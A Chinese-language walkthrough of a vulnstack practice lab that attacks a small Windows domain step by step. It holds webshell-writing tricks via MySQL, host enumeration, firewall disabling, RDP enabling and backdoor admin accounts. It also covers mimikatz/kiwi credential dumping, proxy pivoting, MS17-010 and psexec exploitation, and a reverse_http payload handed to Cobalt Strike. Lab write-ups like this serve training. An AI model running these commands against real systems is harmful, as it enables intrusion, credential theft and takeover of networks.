http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
vnet1网卡:
win7:
仅主机vnet1:192.168.52.143
NATvnet8:192.168.124.20
在C盘下运行phpstudy.
win2008:
仅主机IP:192.168.52.138
win2k3:
仅主机IP:192.168.52.141
攻击机kali2019:
NAT模式IP:192.168.124.26
nmap -sP 192.168.124.0/24
nmap -T4 -A -v -p 1-3309 192.168.124.20
-T(设置时间模板),规避防火墙
发现存在phpmyadmin和beifen.rar,备份文件是yxcms的一个源码,访问两个页面
弱口令,root/root即可登录进去
将url参数中member改为admin,即可访问到管理员登录页面,弱口令admin/123456,即可登录。
通过探针,能够利用的有以下几点:
phpinfo信息
服务器banner信息(系统,apache,php版本)
Phpstudy后门(未测试)
MySQL数据库弱口令
MySQL数据库密码爆破
在管理员后台,前台模板处创建shell.php一句换木马,这里需要知道文件路径,可以看官方文档或审计源码,发现路径:/yxcms/protected/apps/default/view/default/。
蚁剑连接
条件:需要secure_file_priv为允许
secure-file-priv:限制了导入与导出的目录权限。只允许在规定的目录下才能导入。
通过以下命令查看secure-file-priv当前的值是什么
SHOW VARIABLES LIKE "secure_file_priv";或show global variables like "%secure%";
(1)NULL,表示禁止。
(2)如果value值有文件夹目录,则表示只允许该目录下文件(PS:测试子目录也不行)。
(3)如果为空,则表示不限制目录。
语法:
select "$_POST[yxcms]);?>" into outfile " C://phpstudy/www/info.php"
general_log:日志保存状态(ON代表开启 OFF代表关闭)
general_log_file:日志保存的文件
general_log的作用是记录用户输入的每条命令并保存在日志文件中,利用的思路是开启general_log,把general_log_file日志保存的文件指定为一个php文件,通过log日志写入webshell进行利用
执行以下命令查询日志配置
show variables like '%general%'
# % 为SQL语法中的通配符 替代 0 个或多个字符
set global general_log = "ON"; --开启全局日志
set global general_log_file='C:/phpStudy/WWW/log.php'; --指定新的日志路径
select '' --执行SQL语句以写入日志
慢查询日志用来记录在 MySQL 中执行时间超过指定时间的查询语句
3.1查询慢查询日志目录
show variables like '%slow%';
# show variables like 'slow%';
# SHOW VARIABLES LIKE 'slow_query%'
# % 为SQL语法中的通配符 替代 0 个或多个字符
3.2开启慢查询日志功能
set global slow_query_log=on;
3.3重新设置日志路径
set global slow_query_log_file='C:/phpStudy/WWW/info2.php';
3.4执行sql命令
select '' from mysql.db where sleep(10);
show variables like 'log_error'
set log_error='C:/phpStudy/WWW/info3.php'
参考连接:https://blog.csdn.net/m0_47418965/article/details/121708917
https://blog.csdn.net/sunjikui1255326447/article/details/106440534
网络配置信息
ipconfig /all
操作系统及其版本信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
查看当前登陆域和用户
net config workstation
判断主域
net time /domain
查看域内主机
net view
当前权限、账号信息
whoami /all
net user XXX /domain
查看域控
net group "domain controllers" /domain
本机服务信息 wmic service list brief
启动程序信息 wmic startup get command,caption
计划任务 schtasks /query /fo LIST /v
主机开机时间 net statistics workstation
用户列表
net user
net localgroup administrators
query user || qwinsta
客户端会话信息 net session
端口列表 netstat -ano
查询本机共享
net share
wmic share get name,path,status
路由、ARP 缓存表 route print、Arp –A
防火墙相关配置 netsh firewall show config
代理配置情况 reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
远程连接服务 Netstat -ano
获取补丁信息
Systeminfo
wmic qfe get caption,description,hotfixid,installedon
获取安装软件
wmic product get name,version
echo %PROCESSOR_ARCHITECTURE%
获取本机路由
route print -4
获取ARP缓存
arp -a
进程列表
tasklist /v
wmic process list brief
端口列表
netstat -ano
防火墙配置
netsh firewall show config
修改防火墙配置
win2003前
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable ---允许指定程序全部连接
win2003后
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe" --允许指定程序进入
netsh advfirewall firewall add rule name="pass nc" dir=out action=allow program="C:\nc.exe" --允许指定程序退出
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow --允许3389放行
关闭防火墙
win2003前
netsh firewall set opmode disable
win2003后
netsh advfirewall set allprofiles state off
查看3389端口:
没有回显,即3389并没有开启,我们使用以下命令开启它(win7、win2003、winxp),运行后显示3389端口已经成功开启(关闭命令把如下0都换成1):
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
net user test @!FuckSEC!@ /add # 添加账户密码
net localgroup administrators test /add # 给test账户添加为管理员权限
net user test # 查询是否成功添加test用户
使用账号:test,密码:@!FuckSEC!@ 登录远程桌面。但是登陆失败,nmap扫描3389端口发现状态为filtered。查看win7,防火墙开启了阻止所有与未在允许程序列表中的程序的连接,换句话说,设置了白名单,只能本地连接。
此时思路一般如下:
1.尝试关闭防火墙
2.尝试使用隧道连接3389
因为是打靶机,练习为主,两种方式都尝试一下
使用HTTPS协议隧道,
工具:https://github.com/L-codes/Neo-reGeorg
生成webshell,密码为shy
python3 neoreg.py generate -k shy
利用蚁剑将webshell上传至web服务器,访问webshell,并在Kali终端输入一下命令进行监听。
python3 neoreg.py -k 123456 -u http://192.168.124.24/tunnel.php
修改proxychains配置文件
连接远程桌面
因为远程登录会断开该主机当前的连接,为了不惊动管理员,所以一般这里尽量不要远程登录。
然后迁移进程,找到一个64位且权限为SYSTEM的进程进行迁移
加载mimikatz模块来抓取密码的话,可能抓不到密码,msf上也提示已经被kiwi取代
加载kiwi模块,抓取用户密码
获取到账户的明文密码,administrator/hongrisec@2019!
load kiwi
creds_all
netsh advfirewall set allprofiles state off //关闭防火墙
netsh advfirewall show allprofiles state //查看当前防火墙状态
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f //打开3389
通过ping来判断其他域内其他2台主机的ip地址,发现两台主机的ip地址52.138和52.141
现在需要扫描另一个网段的主机,在msf中需要添加通往.52网段的路由
先退出msf的shell界面
run autoroute -s 192.168.52.0/24
set SRHOST 127.0.0.1
vim /etc/proxychains.conf
挂上代理使用nmap扫描对.52网段的目标主机进行扫描,由于socks代理是tcp连接,这里nmap命令只能用tcp相关的,扫描速度较慢,若扫描失败,可以将proxychains配置文件里的dynamic_chain注释掉即可,别的不用注释
nmap扫描太慢,使用MSF的扫描模块
调用tcp端口扫描模块,设置目标地址,run
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.52.138
分别对之前的两台主机进行端口扫描,都开放了445端口
先对.141主机进行ms17-010漏洞扫描,msf先搜索下ms17-010的模块,选用smb_ms17_010,发现存在漏洞。
search ms17_010
use 3
set RHOSTS 192.168.52.141
通过ms17_010_command命令执行来利用
使用命令执行添加一个新用户
use 2
set COMMAND net user test hongrisec@2022 /add
set RHOSTS 192.168.52.141
set COMMAND net localgroup administrators test /add
set COMMAND net localgroup administrators
通过之前的端口信息发现主机未开放3389端口,再把3389端口打开
注册表这里不加引号的话可能会执行失败
set COMMAND 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
使用代理连接远程桌面到141主机
proxychains rdesktop 192.168.52 141
win2003主机拿下后,接下来是域控主机.138,同样是开放445端口
通过smb/psexec模块来利用
use exploit/windows/smb/psexec
set RHOSTS 192.168.52.138
set SMBDomain god
set SMBPass win7pass //win7主机密码
set SMBUser Administrator //哇in主机用户名
set LHOST 192.168.52.143
set LPORT 464
run
运行成功后,getsystem提权
进程迁移到svchost.exe
注意迁移所在的进程也必须是system权限,不然meterpreter会继承所在进程的权限,导致后续操作无法继续
migrate 124
load kiwi
creds_all
background/bg
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost 192.168.124.20
set lport 7777
set session 1
run
拿到CSshell后,一般先将回显时间由默认的60s改成1s
sleep 1
CS的shell,执行windows的命令时,只需要在命令前加shell就好
成功提权
查看防火墙,关闭防火墙
shell netsh firewall show state
shell netsh advfirewall set allprofiles state off
获取域内目标,多执行几次,就会在Targets中找到局域网内的目标
net view
hashdump
logonpasswords
增加smb listener
随便挑选一个OWA的Targets,右键
填入用户名密码,选择刚刚创建的Listener,选择System的那个Session,点击Lauch
成功拿到域控权限
同样的方式拿下域内另一台主机
phpmyadmin写shell的三种方法
https://blog.51cto.com/Jach1n/5291370